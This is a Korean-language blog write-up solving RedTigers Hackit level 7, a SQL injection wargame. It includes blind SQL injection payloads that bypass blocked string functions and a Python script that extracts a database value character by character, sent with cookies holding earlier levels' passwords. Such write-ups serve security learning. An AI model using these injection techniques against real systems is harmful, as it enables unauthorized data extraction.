webhacking/sql, sql injection

RedTigers Hackit 7

qkqhxla1 2015. 1. 9. 17:56

level7

검색 페이지가 구현되어있다. google에 대해 포스팅한 사람의 이름을 찾는게 목표이고, 테이블은 level7_news, 컬럼은 autor이다. 검색페이지에 '를 입력하면 에러가 발생하면서 쿼리를 볼 수 있다.

SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%여기%' OR text.title LIKE '%여기%')

라고 나오는데 여러 가지를 입력하다 보면 빨간색의 두 여기부분에 데이터가 들어간다는걸 알 수 있다. 쿼리를 분석해보면 level7_news테이블의 별칭으로 news를, level7_texts테이블의 별칭으로 text를 쓴다는걸 알수 있다. 저 부분에 인젝션을 하려면...

일단 검색부분에 google이 들어가야 하고, 이름을 찾아야 한다.

google%' and length(news.autor)=1~50 or ' 처럼 넣어주면

SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%google%' and length(news.autor)=1~50 or '%' OR text.title LIKE '%google%' and length(news.autor)=1~50 or '%')

가 되어 인젝션이 가능하다. 코딩결과 17일때 결과값이 나오는걸로 보아서 길이는 17자이다.

이제 한글자씩 뽑아내면 되는데 substr,mid등 문자열 함수가 다 막혀 있다.

google%' and hex(lpad(trim(leading '답' from news.autor),1,space(1)))=hex(84) or '

요렇게 한글자씩 뽑아내면 된다. trim으로 왼쪽에서 한글자씩 지운 후 lpad로 뽑아내면 된다.




# -*- encoding: cp949 -*-
import urllib2
answer = ''
for j in range(1,18):
    for i in range(32,128):
        print i,answer
        req = urllib2.Request('http://redtiger.labs.overthewire.org/level7.php',"search=google%25%27+and+hex%28lpad%28trim%28leading+%27"+answer+"%27+from+news.autor%29%2C1%2Cspace%281%29%29%29%3Dhex%28"+str(i)+"%29+or+%27&dosearch=search%21")
        req.add_header('cookie','level2login=easylevelsareeasy_%21; level3login=securitycat_says_meow_and_likes_cheese; level4login=dont_publish_solutions_GRR%21; level5login=bananas_are_not_yellow-sometimes; level6login=my_cat_says_meow_meowmeow; level7login=dont_shout_at_your_disks%2A%2A%2A')
        page = urllib2.urlopen(req).read()
        if page.find('Google: The browser is the computer') != -1:
            answer += chr(i)
            break
print answer


이게 아니면 locate라는 함수가 있는데 그걸로 한개씩 뽑아오면 된다.



a의 위치는 첫번째다 : true, b의 위치는 두번째다 : true

'webhacking > sql, sql injection' 카테고리의 다른 글

WeChall No Escape, Training: MySQL I, Training: MySQL II  (0) 2015.01.12
RedTigers Hackit 8 (미완)  (0) 2015.01.11
RedTigers Hackit 6  (0) 2015.01.09
RedTigers Hackit 4~5  (0) 2015.01.08
RedTigers Hackit 1~3  (1) 2015.01.08